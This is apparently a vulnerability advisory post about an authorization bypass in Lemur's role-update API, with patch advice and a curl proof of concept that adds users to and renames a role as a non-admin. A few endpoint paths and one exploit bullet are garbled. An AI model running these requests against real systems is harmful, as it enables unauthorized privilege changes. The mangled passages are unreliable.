Listen to this Post
This vulnerability resides in Lemur’s role management API, specifically in the `PUT /api/1/roles/lemur/roles/views.py. The core issue is an authorization logic flaw that allows any user who is already a member of a role to modify that role’s membership and name, effectively escalating their privileges laterally within the organization.
The endpoint’s authorization check uses RoleMemberPermission(role_id).can(), which, due to the OR-semantic nature of flask_principal.Permission.allows(), returns `True` if the caller is either a global administrator or a member of the target role. This means membership in the role is treated as sufficient permission to mutate the role itself.
Once the check passes, the handler directly passes unsanitized `data[“users”]` and `data[“name”]` from the request payload to service.update(). This allows a role member to:
– Add arbitrary users to the role, granting them all permissions associated with that role.
– Remove existing users from the role, causing availability and governance impacts.
– Rename the role to any arbitrary string.
The vulnerability is exacerbated by the asymmetry in authorization between the `PUT` and `DELETE` handlers on the same resource. While the `DELETE` handler is correctly protected by the `@admin_permission.require` decorator, the `PUT` handler is not, indicating a clear oversight rather than an intentional design choice.
Direct self-promotion to the `admin` role via renaming is blocked by the `unique=True` constraint on `Role.name` and strict equality checks in User.is_admin. However, the primary attack vector remains lateral movement: an attacker can compromise any role they are part of and then promote colluding users into that role, expanding the attack surface.
The vulnerability affects Lemur versions prior to the patch. The fix involves adding the `@admin_permission.require(http_exception=403)` decorator to the `PUT` handler, mirroring the protection already in place for the `DELETE` endpoint. If role ownership delegation is required, a dedicated permission model based on ownership rather than mere membership should be implemented.
DailyCVE Form
Platform: Lemur
Version: < 1.2.0 (fixed)
Vulnerability: Authorization Bypass
Severity: Medium (CVSS 5.4)
date: 2026-06-25
Prediction: 2026-07-02
What Undercode Say
Analytics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (member of target role)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: High
- Availability Impact: Low
Bash Commands & Codes:
- Authenticate as a non-admin user (alice) to obtain a JWT:
curl -X POST https://lemur.local/api/1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"<alice_pw>"}' - Confirm the initial role membership (bob is not a member of operator):
curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <admin_jwt>"
- Exploit the vulnerability: As alice, inject bob into the operator role:
curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \ -H "Authorization: Bearer <alice_jwt>" \ -H "Content-Type: application/json" \ -d '{ "name": "operator", "description": "modified by alice", "users": [{"id": <alice_id>}, {"id": <bob_id>}] }' - Verify bob is now a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <admin_jwt>"
- Rename the role (second variant of the bug):
curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \ -H "Authorization: Bearer <alice_jwt>" \ -H "Content-Type: application/json" \ -d '{ "name": "operator_v2", "description": "renamed by alice", "users": [{"id": <alice_id>}] }'
Exploit
The exploit is straightforward and requires only that the attacker is a member of the target role. No additional privileges are needed.
1. Identify a target role that the attacker is a member of (e.g., operator).
2. Authenticate as the attacker and capture the JWT.
3. Send a PUT request to `/api/1/roles/
4. The server will accept the request, as the `RoleMemberPermission` check passes, and apply the changes via service.update().
This allows the attacker to:
- Add themselves to any role they are not already a member of (by first becoming a member of a role that has permissions to modify itself, then adding themselves to other roles if the role has such permissions, though the direct vector is modifying the role they are already in).
- More critically, add other users (colluders) to the role, granting them the same permissions.
- Remove legitimate users from the role, causing denial of service.
- Rename the role, potentially disrupting integrations that rely on the role name.
Protection
- Immediate: Apply the patch that adds the `@admin_permission.require(http_exception=403)` decorator to the `PUT /api/1/roles/
` handler in lemur/roles/views.py. - Alternative: If a custom delegation model is required, implement a dedicated permission class that checks for role ownership rather than mere membership, and ensure the `name` field is not mutable via the delegated path.
- Workaround: Restrict API access to trusted networks or implement additional application-level firewalls to block unauthorized PUT requests to the roles endpoint.
- Upgrade: Upgrade Lemur to version 1.2.0 or higher, which includes the fix.
Impact
- Lateral Movement: An attacker who is a member of any role can elevate the privileges of other users, potentially compromising the entire role-based access control system.
- Integrity Breach: The ability to rename roles or modify their membership can lead to misconfiguration, loss of audit trails, and unauthorized access to certificates and authorities.
- Availability Impact: Removing users from roles can cause legitimate users to lose access, disrupting operations.
- Governance Failure: The vulnerability undermines the principle of least privilege, as role members can self-escalate their permissions within the scope of their role.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
